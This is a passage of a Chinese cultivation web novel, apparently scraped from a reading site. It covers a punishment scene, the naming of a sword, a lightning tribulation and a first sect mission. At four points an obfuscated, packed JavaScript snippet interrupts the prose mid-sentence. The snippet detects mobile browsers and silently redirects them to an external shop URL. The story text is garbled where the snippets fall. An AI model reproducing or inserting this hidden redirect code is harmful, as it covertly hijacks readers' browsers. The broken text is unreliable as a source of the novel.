慕雲转头朝好徒弟恨铁不成钢道:“映心啊,你跟妽荼仙尊顶什么嘴?为师不是同你说过,对她你要恭恭敬敬的吗?” 石映心有些委屈:“我没有不恭敬妽荼仙尊。” “哎呀,”顾梦真在边上说,“师父的意思是,妽荼仙尊说什么你就说‘弟子遵命’就是了,不能说别的。” 石映心:“是妽荼仙尊问我有什么要说的。” 顾梦真:“仙尊只是和你客套一下。” “可是……” “行了!”天元简直听不下去这些乱七八糟的,一挥手道,“领了罚就回去休息吧,之后让你师父好好和你说,我这老头子经不起你们折腾了!” “啊……”这下轮到曾换月嚷嚷起来,“师公你怎么这样,这次我们归壹派能得魁首都是师姐的功劳,现在我们关起门来只有自己人了,你还要惩罚师姐啊?” 天元也是无语了,朝站在边边上一声不吭的两位戒律堂弟子抬了抬下巴。这两位弟子是别支师门的,同他们皆不熟悉,这会正板着脸,端着一副公正的面孔杵在那呢。 曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15722261|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换月才看见,遗憾一笑:“哦……” “没事。”石映心语气轻松道,“不过四十仙板。” 曾换月又要说什么,却被边上的顾梦真拉了拉。 这时候一直没说话的明易走上前来,朝他师父师公行礼道:“师公,师父。明易身为映心的大师兄,又是此次大比的赛事督察,未向师妹解释明白规则,确实难辞其咎……应当替师妹受罚。” 他师妹师弟:“啊?” 慕雲和天元也有些惊讶,转念一想倒也不意外,大徒弟(大徒孙)从来都是情礼兼到、尊老爱幼的谦谦君子,映心也算是被他拉扯大的孩子,不忍她受罚也是情理之中。 他俩也不舍得小徒弟受四十仙板啊。 天元微微颔首道:“明易,你想好了?” 明易正要应是,就发现袖子被人拉了拉,转头看见他师妹朝他眨眨眼睛:“大师兄,你不用帮我受罚的。” 明易把袖子扯回来:“我心意已决,再说你马上要破镜,近日要好好养身子。” 石映心咬了咬唇:“师兄,其实……” “行了,”天元瞥了眼戒律堂的两位弟子,见他们对着眼神似有些意见,立刻先下定论道,“既然这样,就每人各挨二十仙板。此事不必再议,本尊累了,都退下吧。” 掌门发话,大家只好应和:“是。” 到了殿外院中,慕雲取来两个蒲团给两个徒弟跪着,拍拍石映心的脑袋就到边上去了。 二人并排跪着,由两位戒律堂的弟子施刑。归壹派的仙板不过一手臂长,一掌宽,但打起来可疼,若是真四十仙板下去,在床上趴个三天三夜也是正常的。除了犯了大错,慕雲一般不用这法子罚徒弟。 这会瞧见两个徒弟板正地跪在那挨板子,她于心不忍地闭了闭眼睛。 曾换月小声和二师兄嘀咕:“没想到大师兄这么仗义啊……” 顾梦真压低声音道:“我也没想到啊。他平时对我们仨不是都挺严格的吗,比师父还那啥……” “可能真是考虑到师姐要准备破镜了?” “不知道啊……” …… 石映心挨着板子,咬着嘴唇没发出声音,面色瞧着倒还好。她转头瞧见大师兄漠然的侧脸,仿佛挨仙板一点也不疼……要不是他额间冒了一些汗珠的话就真看不出来了。 大师兄在想什么呢?石映心想,他为什么要提出帮自己挨板子? 虽然她知道平时大师兄对她们这些师弟师妹也是不错的,但是……好好奇啊。唉,可惜了大师兄身上带着黑镜,她照不到…… 二十仙板很快打完,两位戒律堂的弟子完成任务后就回去复命了。 石映心被曾换月搀扶着站起来,慕雲拿出两瓶膏药分给他们,又对石映心愧疚道:“唉,这次是为师害了你,若不是……” 石映心摇摇头道:“若不是师父七年前救我出来,映心就要死在秘境里了。这些都是我应该做的。” 见徒弟这么懂事,慕雲很是感动:“嗐……是你我有师徒缘分。”搭着她的肩膀说:“孩子真是长大了……好了,快回去休息吧,过几日为师助你破镜。” “好。” 29. 第 29 章 石映心回到她的石头洞休息了会,躺在床上翻来覆去地看着师父给她的药膏,脑子里不知道想了什么,总之很快站起身来,御剑飞去了日月洞。 “师兄!” 她在院子里喊了一声,自觉是打过了招呼,便跑去正房推开了门,将将看到她师兄把里衣穿好,正背对着她坐在床上飞快地系腰带,头也不回道:“你来做什么?” 不等她回又说:“进别人屋子为何不扣门?没规矩……” 石映心“哦”了一声走进屋里,刚刚被训过,这会是记得把门关上了:“我在院子里喊了师兄,你肯定听到了。” 明易深呼一口气:“我听到了不代表你就能进来……” 石映心觉得奇怪:“天还没黑,我想师兄肯定还没睡觉,为何不能进来?” 明易噎了一下,总算把里衣穿好了,又拿过边上的外衣披上,这才侧过脸朝她道:“没有为何,这是礼数。” “我进换月和二师兄的卧房也不扣门。” “……我不管你进他人卧房如何,总之在我的日月洞要扣门。” “好吧,好吧。” 石映心理解大师兄古怪的规矩,她其实习惯了,从小到大都是这般,她也已经学会多多担待对方,便不放在心上。 走过去关心地说:“大师兄,你的伤还好吗?” “我无碍。你……”他顿了顿,系好腰带朝她看去,见师妹面色如常,脸色红润,可他这会还没意识到问题,“你不待在洞府里养伤,到我这来做什么?” 石映心拿出药膏递过去:“我来给你送药膏。” 明易心说难道她是怕自己不够用吗?“师父给我的够用。” “嗯……但是我没用。”石映心把药膏塞他手里,“还是给你吧。” 明易看了眼手中的药膏,抬眼盯她:“你为何不用?难道是不喜这药膏的怪味?” 石映心抿着唇朝他笑了一下,瞧着有些心虚,但她见大师兄目光炯炯的,想了想还是实话实说道:“大师兄,其实我没有受伤。” 明易:? 她道:“早在进掌门殿前,二师兄就偷偷给我塞了护背垫……仙板打上来一点也不疼。” 明易:。 他愣了一会,回神来却是笑了一声,似乎有些自嘲的意思,轻轻摇头道:“还是你二师兄有主意。” 石映心见他这样,连忙说:“大师兄,但你的板子也不是白挨的。” 明易挑眉看向她:“哦?” 石映心弯眼一笑:“以后什么时候师兄你要挨板子了,我也替你受罚……礼尚往来!” 明易:…… 一时分不清她是要报恩还是在诅咒。想来她就是这样的怪脑筋,总之是出于好意,他只好应声道:“好,我争取不挨板子。” 石映心便满意了。 明易想起什么,拿出她的令牌还给她,训了她几句“下次不许明知故犯”后就让她早些回去休息,石映心却杵在那不走,转着眼珠子打量着他的衣袍,找了会就问:“师兄,你的黑镜呢?” 明易抱着胸,好整以暇地看着她提溜转的眼珠子:“你要做什么?” “……我好奇,是我厉害还是黑镜厉害。” “你厉害。”明易嘴角一扯,“快回去吧。” “我亲自照一照……” “回去。” “……哦。” * 石映心后来想起来说自己的剑鞘丢了,先是被师父骂了一顿,又被二师兄唠叨了半天。俗话说不当家不知道柴米油盐贵,她被骂了两顿也没太大感觉,没有剑鞘就收在令牌里,拿出来就用,反正也挺方便。 剑鞘丢了剑就还不回去了,师父垫了钱后,这剑就是她的了。 换月得知后,嚷嚷着要她给剑起名。 石映心和她师父一样是个起名废。后者从她起的那些洞府名就能瞧出来,一般是拆字取的,比如慕雲本人的“云雨峰”,明易的“日月洞”,顾梦真的“林夕洞”;如果字不好拆,那就更随便了,比如石映心的“石头洞”,曾换月的“咚咚洞”。 因这不长脸的名字,曾换月从来没叫其他师门的同门来她洞府玩过。 再说回石映心本人,她自己根本没有“起名”这个概念,前几年她在黑竹林喂过一年的野猫,从猫来到猫去,从来没起过名,就是喊人家“猫”。有一次曾换月去看猫叫了咪咪,她后来就跟着叫“咪咪”。 因此,给剑取名对石映心来说非常头痛,她是完全没有思路的。 “叫什么都行。”她说,“从话本里取一个。” “不要这么随便嘛。”曾换月摇摇手指头,“对剑修来说,剑的名字也是很要讲究的!若是剑修出名了,她的剑也会随之出名,到时候旁人问起来你的剑叫什么名字啊……石头剑?咚咚剑?啧,说出去好不霸气!” 看得出来她对洞府的名字很有意见了。 石映心想了想:“叫石头剑也行……” 曾换月:“我不同意!!” 石映心拗不过师妹,只好说:“那我想想吧。” 曾换月:“你多取几个,到时候我帮你参谋。” “……哦,好吧。” 这对石映心来说简直是折磨,但她也不是没有办法,先去找二师兄帮忙取了几个,又去找大师兄帮忙取了几个,再去师父……哦,飞到一半想起来换月很嫌弃师父取的名,于是掉头去找晴雯师姐…… 总之最后是收集了不少剑名,有比较潇洒的,比如二师兄取的“风华剑”;有比较霸气的,比如大师兄取的“破晓剑”;也有比较高雅的,比如晴雯师姐取的“清霜剑”…… 这么多名字,肯定能给小师妹一个交代。石映心想。 看着满满当当的一页纸,石映心满意地点点头,把纸张一折放在石桌上,然后从地上捡了一块石头压在上面,等明早换月一来就能看见了……好困,她打了个哈欠,转身回屋里睡觉。 夜里下了大雨,在日出时又停了,地面一片潮湿。 石映心莫名比往日早醒了半个时辰,听到外头不对劲的滴水声便跑到院子里,瞧见满地湿漉有些茫然,拿起石桌上一片黑糊的纸看了看,纸张湿透了,脆弱地掉了一大片下来,只在她指尖留下了一小块。 石映心也不知道是不是自己刚睡醒,脑子昏昏涨涨的。 失策了,她想,早知道就该收起来的…… 唉。 她走进屋里,坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15726715|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书案前抓耳挠腮了一会,只想起了三个剑名;又从书格上拿下几本话本翻了翻,抄了里头几个名字下来;最后她终于想起自己是剑的主人,把剑拿出来放在桌上看了看,打算自己也取一个,也算是尽责了吧? 叫什么好呢…… 哈……好困,今日起太早了…… 她往书案上一趴就睡了过去。 没注意到银白的剑面上有一条红影一闪即逝。 “……帝血剑?”曾换月从纸面中抬起头来,看向她的师姐,“这剑名有何寓意?” 石映心完全不记得这名字是怎么回事,肯定是她随便从话本里抄下来的,不知道是某位刺客的暗器还是谁家千金小姐的簪子……她挠挠脸道:“没什么特别的寓意。” “唔,”曾换月歪了歪脑袋,“听着有股煞气呢……” 石映心怕她再追问,她又编不出来什么所以然来,便连忙说:“换月你帮我选一个吧。” 曾换月这会犹豫了很久,说明师兄师姐和话本作者起的名确实很有水平,最后她干脆说:“算了,抓阄吧!” 石映心松了口气:“好,好。” 曾换月做了几个签纸放在桌上让她师姐去抽。石映心并未多犹豫,随手选了一个,正要打开的时候忽地有一阵大风刮来,吹得她发丝凌乱,耳朵轰轰,眼睛都眯了起来。 又听到曾换月嚷嚷:“什么鬼风!” 等怪风一停,石映心把脸上的发丝摸到边上,低头一看——咦,签纸呢?再往桌上看去,原本满满当当的签纸都被风不知道吹到哪里去了,只剩下了一个孤零零地留在原处。 为避免麻烦,石映心趁师妹还在梳理头发,把那仅剩的签纸拿了起来。 曾换月把最后一缕发丝撩到耳后,自然瞧见了桌上的签纸都不见了,幸好师姐已经选好了,正在她手中捏着呢:“师姐你快打开看看!” 石映心把签纸打开,上头写着三个字: “帝血剑。” 既然如此,就如此吧。 大比过后没几日,在其他仙门的弟子们各回各家之后,归壹派又恢复了往日的平静;魁首的奖赏“黑月如水”也被送到了石映心手中。 其实是一朵寻常莲花的模样,瞧着也不黑啊。石映心打量着问师父:“为什么叫黑月如水?” 慕雲给徒弟们解释道:“这朵莲花长于不咸山天池之下,每逢天狗食日、月色黑中透红时才冒出水面汲取天地精华,一次只长一叶一花瓣,等长齐这朵莲花,至少要一百多年,每一枚花瓣都蕴含充沛纯净的天地灵气,是修士破镜的最好宝贝。” 顾梦真越听越眼前发亮:“哇,要长一百多年?那很贵了……” 慕雲瞥他一眼:“为师推测,映心破镜只需半朵莲花便够了,剩下半朵就给你用。” 顾梦真眼睛一闭,倒吸一口凉气,把边上的曾换月往前一推:“不不不,这等好宝贝给我用有些浪费了,我看还是给换月用吧,这次大比她也出了不少力,我这个做师兄的也不能抢她功劳啊……” 曾换月扭过身子:“我也不着急,我才结金丹没多久呢!还是给二师兄吧……要不给大师兄也行啊!” 她大师兄抱着剑站在边上:“我不需要。” 30. 第 30 章 进入元婴期后破镜便是遥遥无期、不可预测的事了,不再像前边的境界那般、努努力一步一脚印便能破镜;许多修士遇不到机缘,一辈子卡在元婴期也很常见。因此这黑月如水对明易来说宛如水滴入大海——真没什么用。 “好了!”慕雲一翻白眼,“都给我闭嘴,为师说的算!” 徒弟们只好闭嘴。 石映心盯着黑月如水看,耳边听他们叽叽喳喳的,心中其实不大明白,为何大师兄执着变强,而二师兄小师妹却不愿入元婴……至于她自己,她是无所谓的,不过是玩着剑、自然而然地走到了今日。 在其他同门弟子看来,她这一路实在是顺风顺水、少有瓶颈,比她的天才大师兄还要叫人嫉妒;等她这会进入元婴,又是要更新她师兄的记录了…… 只是她到今日也没想清楚,破镜是为了什么?她是想破镜还是不想呢? 师父让她安心:“映心不怕,天雷打下来也有为师的法云术抵着,就是挨着了也不疼。” 二师兄道:“还有我的引雷瓶!” 小师妹说:“师姐,我就不添乱了,在边上给你加油打气!” 大师兄表示:“金丹期的雷劫对你来说不算什么。” 石映心发现大家好像有些紧张,她稳重道:“没事,不过是九道雷劫。” 其余几人忍不住苦笑。 石映心在院子中心打坐着,先把一些东西从储物空间里拿出来,只留下护身的宝贝,免得到时候不小心被天雷劈坏了。 其实她的储物袋里还真有一些东西,不过除了一把剑以外,都是些杂七杂八的,有二师兄不要的宝器,小师妹送给她的话本,大师兄从山下带来的民间小玩意,最贵的是师父给她的夜明珠…… 这么往地上一摆,她又搁那一坐,跟人间买东西的货郎似的。 大家稀奇地打量起来: “你们怎么尽把破铜烂铁给映心?” “哪有,这话本可是绝版的呢!” “欸,我还炼过这个?” “……破铜烂铁?” …… 耽搁了一些时间,赶紧开始吧! 慕雲用法云术招来一朵白云飘在徒弟上空,又在她面前摆上引雷瓶,大伙避让几步腾出位置来,如此便可以开始了。 石映心坐在那,手上捧着黑月如水,最后看了一眼面色关怀的师父师兄师妹,闭上了眼睛,施法汲取莲花的灵气引入体内。 她熟练地感知着微凉的灵气灌溉着体内经脉,每兜转一周天就渗一些到丹田之中,渐渐地便有满足之感,待这满则溢时,溢出的灵气引来九道天雷,扛过去她便能破镜了。 轰—— 夜色中运转灵力的石映心周身发着莹莹的光辉,像是给天雷指明了方向。云雨峰上空早已是间乌云密布,隐隐有雷光的尾巴一游而过。 轰—— 天元走出掌门殿,瞧着不远处山峰上古怪的天色,慢悠悠地摸着白胡须。 轰—— 人间热闹非常,锣鼓喧天,妽荼从无人的小巷中走出来,耳朵一动仿佛听到了什么,微蹙眉头朝天边望去,夜空月明星稀。 轰—— 姬滢在回程的云舟上,姐姐已经在榻上熟睡,她站在窗边摸着罗盘上的蜥蜴骨,抬首看向窗外,一片云海缥缈。 轰—— 黑袍隐在树冠中歇息,似有蛇过叶间的簌簌声,他猛然抬眼一瞧,恍若梦醒,红彤彤的眼中落下一滴泪来。 轰—— 慕雲等人全神贯注地瞧着石映心的情况,并未发现她边上的帝血剑在隐隐发抖、嗡嗡作响,一条红影藏在雷光中如蛇一般绕了剑面几圈。 轰—— 法云已被劈散,引雷瓶不堪重负而碎,雷光照亮了石映心苍白的脸色,她闭着眼,眉目平缓。 轰—— 最后一道避无可避的天雷毫无阻碍地劈在了她身上,似乎在报前几道妨碍之仇,这次的雷响得骇人、亮得瞎眼,黑天似乎被它撕成了两半。 石映心瞬间露出痛苦的神色,浑身罩着雷光,被电得滋啦发抖、发丝乱飞。身前漂浮的黑月如水竟飞快地枯萎凋谢了,落在地上成了残花。 “为何会这样……”场外的明易惊诧道,“这不是金丹雷劫的威力!” 师弟师妹立刻惊慌起来:“啊?那映心/师姐怎么办!?师父——” 慕雲眉头紧蹙,额间冒汗,但还算镇定道:“也许和……她镜灵的身份有关……” 明易语速飞快:“她先前不会这样。” 慕雲叹出的这口气也微微颤抖:“时候未到罢了。” 俗话说不是不报,时候未到,几人只见石映心面色痛苦、浑身打颤,只有她自己明白此中的煎熬难耐,她的心仿若被这雷劈碎了一般,明明是凡心,但她耳里听见的尽是镜面咔咔破碎的声音,细碎的裂缝扎入经脉,流淌在体内每一处,叫她疼得无所适从。 她的心怎么……怎么这般疼…… 疼得她撑不出打坐的姿势,往前踉跄了一下,好在是用胳膊支住了身子;轻微的“喀拉”一声,石映心的一只手掌按住帝血剑的剑面,漫漫地溢出血来,但她本人无知无觉,继续硬撑着渡化身上的天雷。 见她都坐不稳了,看着的人更加焦急,慕雲急得踱来踱去,还要警告徒弟们不准轻举妄动。 心急如焚的几人没瞧见有一条血影顺着石映心按着帝血剑的手悄无声息地蹿入了她的心脉之中。 【蠢物!还不快用你的灵力缝补碎镜?】 碎镜……? 石映心这会已经无法有更多思考,她听从这莫名其妙冒出来的念头,慢慢地将灵力往破镜上引去,好在算是无师自通,竟慢慢地如操纵针线一般缝补了起来,一点点、一块块,渐渐熟能生巧…… 时间不知过去了多久,大概一个时辰,也许有两个时辰?直到天边泛起鱼肚白,她才终于缝补完破碎的镜面,能瞧见其红光一闪,眨眼间又是全然无损的模样;与此同时,身上最后一道雷也闪过奄奄一息的暗光。 渡雷劫总算结束了。 石映心从来没有这么累过,此时此刻只想不顾一切地大睡一场,于是连眼睛都不愿睁开一回,往后倒去就想就地而眠—— 似乎是落入了一个温暖的怀中,衣衫有些凉,但很快就有胸膛的暖意传来;她又茫茫地听见熟悉的几个声音,听不清说什么,也不想听清,总之……都是好睡的。 * 【……为何?因你不够格。】 你是谁? 【……想我带你走?】 去哪里? 【我没工夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15734932|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照料你。】 石映心从梦中惊醒,天色已亮,窗外传来叽喳的鸟鸣,艳阳高照,正是一日好时光。 脑中的梦转瞬即逝,她摸了摸脑袋,什么也想不起来。等回神时,才恍然想起自己已渡过雷劫,这会应是元婴期了。试着调动了一会体内的灵气,奇经八脉果然宛若新生,充沛着生机。 历劫时的疼痛好像是很久前的事,除了下榻时有些腿软外,石映心已经没了多少感触。喝了一点水后来到院中,石映心瞧见曾换月坐在石桌前的背影,她微微摇着脑袋,似乎在写话本。 石映心能听到笔墨渗透在纸上的柔声。 “换月?” 曾换月闻声惊喜地转过头来,把笔一扔就跑了过去,拉住她师姐上下打量起来:“师姐!你终于醒了呜呜呜!” 石映心点点头:“嗯,我睡了多久?” “睡了17日呢!”曾换月激动地脸语速都快了一些,“这几日我和师父他们轮流照看你,现在你总算醒了,我们也就安心了……对了,要折传音鹤去告诉师父师兄……” 石映心闻言,变了个传音鹤出来,只是这元婴期的纸鹤也和她以往一般的歪扭,她放在手心上看了看,面色有些疑惑:原来不是境界越高就能折得越好吗? ……算了。 她对纸鹤说了声“师父,大师兄,二师兄,映心醒了”,注入灵力,纸鹤便扇了扇翅膀飞去空中。 飞过一片白日,携来一轮圆月。夜空之下,师徒几人聚集在石头洞的院子中吃吃喝喝,为石映心庆贺喜事。 茶足饭饱之后,师父说起下山的事,前头还哇哇乱吵的二师兄和小师妹顿时噤了声,石映心则是很好奇:“山下是不是很好玩?” 大师兄说:“下山不是为了玩的。” “嗐,”慕雲摇摇手指头笑道,“既然都下山了,能偷摸着玩一会就玩呗,不耽误事就好。” 明易瞥了他师父一眼:“您这么说,她就要更放肆了。” “明易啊。”慕雲朝大徒弟同情道,“你就是太不放肆了。为师以前觉得你听话守规矩、是个不叫人操心的好孩子,心中很安慰;不过这么多年过去,为师却想开了,人生不过及时行乐一场嘛,怎么高兴怎么来啊!” 明易面不改色地转动着火桶上的几把烤串:“于我来说,修炼便是行乐。” 慕雲:…… 嘶,这孩子不是脑子有问题吧? “欸,我觉得师父说得对啊!”顾梦真拍拍大师兄肩膀,笑嘻嘻道,“人生是要及时行乐。大师兄觉得修炼便是行乐,定是没试过其他好玩的事情!日日修炼着,脑子都糊涂了……” 明易肩膀一抬把他的胳膊撇开。 这时候石映心问:“还有什么好玩的事呢?” 顾梦真:“比如赚灵石啊!” 石映心露出“体会不到”的表情:“哦……还有呢?” 慕雲:“比如喝酒啊!” 明易:“师父,您自己喝便是了。” 石映心瞥了眼师父面前的酒壶,微微点了点头,又问:“嗯……还有吗?” 曾换月:“比如谈情说爱啊!” 大伙的视线“唰”地集中在她身上,曾换月一吓,连忙解释道:“怎、怎么了?我说得不对吗……话本里都有这样的桥段的……” 31. 第 31 章 石映心也是看话本的,于是首先赞同地点了点头:“是,话本里都有的。富家千金、江湖侠客,不论是谁……谈情说爱起来都是飘飘欲仙、要生要死……” “咳!”慕雲凌厉的目光扫向小徒弟,“你给你师姐看的都是什么话本!?” 曾换月心虚地冤枉道:“都是正经话本啊……” “哎呀……映心根本就……就不知道什么意思。”顾梦真哈哈地打圆场,“她就是看到什么说什么。” 石映心谦虚地问:“二师兄,那是什么意思?” 顾梦真:→→ “换月,什么意思?” 曾换月:←← “师父?” 慕雲:*。* “……大师兄。” 明易目不斜视地盯着烤串:“你不必知道是何意,谈情说爱最是耽误修行,你年纪轻轻刚入元婴,前途无量,更应六根清净、不染凡尘,如此才好心无旁骛地潜心修练、早日飞升腾云。” 石映心听得双眼发直:“……哦。” 大师兄真无趣。她想。 ……大家都这么想。 既然一时半会谈不了情说不了爱,又赚不得灵石,石映心就说要喝酒。慕雲一开始乐呵呵地帮她倒了一茶盏,余光瞥到大徒弟不赞同的谴责眼神,忽然良心苏醒,觉得自己身为长辈,这样的行为非常不妥! 于是又把茶盏里的酒往地上一倒,洒出一片影子,她对一脸茫然的徒弟摆正经道:“映心啊,酒这东西呢,能不喝还是不喝的好。来来来,多喝点桃花茶吧。” 石映心:…… 师父变脸真快。 她拿起桃花茶贴近唇边,抬眼瞧见师父满脸高兴地拿着酒壶灌酒,心中便想,若是在喝茶的时候照了正在喝酒的师父,那么…… 石映心喝下桃花茶,被刺激的酒味冲得脑子一懵,下一刻便晕头转向、昏昏沉沉起来,她抖着手把茶盏往桌上放了放,却不小心将其推倒,发出一些响声。 几人疑惑地朝她看去,却见她两眼出神、双颊泛红,脑袋莫名摇了摇,然后往桌上一倒——晕了。 “师姐?”曾换月拍拍她肩膀,“师姐好像是喝醉了?” 明易幽幽道:“师父做的好事。” 慕雲手上还拿着酒壶呢,冤枉道:“我什么都没做啊!” “您明知道她会照人还在她面前喝酒。”又说,“对映心更应该以身作则。” 慕雲:…… “是、是,”她咬牙一笑,“乖徒教训的是。既然如此你就先送映心回去吧,梦真和换月在这陪我喝、茶便是。” 明易应了一声,告辞了师父和师弟师妹,抱着石映心御剑走了。 大徒弟一走,师父就忍不住问:“你们大师兄怎么越发讲究了?他几年前还不是这样的,那时候还会嘚瑟嘞!” 二徒弟说:“之前是年轻气盛许多,还喜欢讽刺人。” 小徒弟道:“大师兄长大了。” 说到这,师父又“啧”了一声,看眼前两个也不满意起来:“你们也该长大了!还是要多向大师兄学习……不过也别学得太深。” 二徒弟摇摇头:“学不来。” 小徒弟想了想:“也许是为了给师姐以身作则?毕竟师父你天天说我和二师兄不靠谱,那榜样的重责就落在大师兄身上了,他可能是压力大吧!” 二徒弟:“但是大师兄身上有黑镜,映心也照不到他。” 小徒弟:“论心无完人,这不就更合适了?舍他其谁呢?” …… 二人又絮絮叨叨地你一句我一句起来。慕雲摇摇脑袋喝了一口酒,酒入愁肠化作育徒泪。 太难了、养孩子真是太难了! 旁人只道她慕雲有品学兼优的四位徒弟,谁晓得她忧心徒儿的心呢? * 明易有许久没来石映心的卧房,往常都是在院子或是正厅里说事,或者某人没礼数地推开他的门进来,我行我素地坐下来就喝茶吃果子。和她说了几次也不听,想来是在顾梦真和曾换月那里随便惯了,又故意不改。 将人放在榻上,正要起身却被她抓住了衣袍,明易愣了愣去掰她的手,没想到这家伙还挺使劲,他知道她醒了,忍不住说:“……放手。” 石映心这会睁开一点眼睛来,眸色瞧着也不清醒:“大师兄……黑镜。” 明易扯了下嘴角:“什么时候改了你乱照人的坏毛病我就给你。” 石映心就不说话了,但手也没放开。 明易深呼一口气:“你难道还想发酒疯?” “怎么发?” “……石映心,放手。” 她还是不放,明易不想在这跟她纠缠,干脆把她抓着的那块布给撕了,冷哼一声转身要走,但——腰带被抓住了。 明易:…… 一不做二不休!好,那腰带也不要了! 他把腰带卸下,用手固定着外袍,头也不回地、大步流星地往外走。 门被关上,石映心坐了起来,神情不大高兴地看着闭合的门,又低头瞧了瞧手上的布料和腰带,叹了口气收入储物袋中,躺下去睡觉了。 * 进入元婴期后,石映心就该去万事堂领任务了。归壹派元婴期后的弟子们每年至少要完成五件任务,若是任务失败则不算数;成功则有灵石宝物的奖励。 这任务也不是瞎领,万事堂里有一颗万事树,树上结了无数的木牌,弟子们去树下施法问树,便会有合适的牌子掉落下来,这木牌便是因果牌,带着牌子下山,因果牌会指引弟子们去完成任务。 归壹派弟子众多,万事堂前日日人来人往。石映心跟着一位师姐来到堂中大院,抬首瞧见一颗硕大无比的绿树立在院中。 万事树高出了殿顶,盛开的树冠几乎将整个院子笼罩在其中,遮住了大片日光,院子便有些昏暗,倒显出它树上无数因果牌莹莹发光,远远望去似草丛间的点点宵烛。 弟子们正排着队领牌子。 石映心没排多久,很快就轮到她了,她学着他人的模样把手贴在树上,将灵力送入树干之中,使劲仰着脑袋,瞧见数不清的因果牌像果子一般和树叶随风一起摇动着,不知道哪一枚牌子是她首次的任务? 不过多久,她瞧见有一牌子从树叶中飞出,直冲她而来。等牌子飞近了,她便把手一抬,那因果牌就乖顺地被她拿在了手中。 翻牌一看,木牌上刻着一句……诗? 【自古多情空余恨,此恨绵绵无绝期。】 石映心:OO ……也没人和她说领任务要做诗词理解啊? * “因果牌上一般会有任务的提示,”明易把木牌还给师妹,“不过一般是写地点或是人名……写一句诗,确实少见。” 石映心接过木牌:“哦。” 曾换月在边上撑着下巴嚷嚷:“我可怜的师姐!本来就是第一次下山做任务,结果接到一个不明就里的,这可怎么办呐!” 顾梦真猜测:“难道映心要找的是写这句诗的人?” “这首诗都烂大街了,写诗的人早死了。”曾换月并不觉得,“不过唯一能确定的是……这首诗歌颂的是爱情!” “爱情?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唉……慕雲想,映心是剑法高超,但性情率真、思想单纯,真是怕她在外头被人骗了…… “好吧,你……”师父想了想也不知道怎么说,胡乱道,“凡人虽弱小,但人心险恶,你可别轻信了他人的话,要谨慎交友啊!” 石映心:“好。” “有什么事记得找师父。” “好。” “东西都带好了吗?” “带好了。” “银子和剑都带上了?” “都在储物袋里,师父。” 大早上赶过来送行的二师兄打了个哈欠:“好了师父,映心也不是小孩子了,迟早有这一天的。” 大师兄也在边上赞同地颔首。 慕雲叹了口气,好吧,那就这样吧。 石映心辞别了师父,又和边上的大师兄二师兄道了别,小师妹大概是赖床没起来,那便算了吧。 她背着行囊,瞧着精神很不错,身上换了一套淡青色的衣裳,衬得她在山林间像如梦似幻、飘飘欲飞的蝴蝶,朝三人招了招手后便转身离开,转过一个弯后就翩然不见了。 “映心长大了……”慕雲盯着她消失的地方,心中怅然若失。 七年前捡她回来的时候,还是那么小的孩子呢。 什么都不会,什么都不懂,一言一行都是学她师父师兄的,闹出了好多笑话…… 如今,却是她独当一面的时候了。 32. 第 32 章 “师姐,我很不放心你啊!” 石映心在山门口遇见了倒在树边睡觉的小师妹,她走过去把人拍醒,曾换月瞧见她就一激灵地跳了起来,拉着她的手关心地说:“外面的世界太危险,我想了想,还是要陪你下山才好!” “好吧。”石映心觉得有师妹作陪也挺好,不过话说在前头,“但是师父和大师兄肯定很生气。” 曾换月讨好道:“到时候你帮我求求情嘛……” 石映心点点头:“这是自然的,只是他们不领情的话……” “我知道我知道,但事已至此就不想这么多了!”她把肩膀上的行囊提了提,开朗笑道,“事不宜迟我们快走吧,免得到时候被追上!那我真是赔了夫人又折兵,山没下成,回去还要白挨骂……” 石映心想想也是,于是两人就赶紧上路了。 都是第一次下山,二人便想走一程山路看看新鲜风景,一路嘻嘻哈哈的捉兔子逗松鼠,累了才御剑休息,直到天快黑了才完全走出归壹派的绵绵山脉,迈入人间地段。 至此就不便御剑飞行了,以免叫凡人惊慌。 “我看今夜是找不到歇脚的地方了。” 二人这会走在进城前的野路上,曾换月见前方黑乎乎一片、毫无烟火,打了个哈欠道:“师姐,天也黑透了,不如我们就地休息吧,明早再早起赶路进城?” 石映心也不着急:“好。” 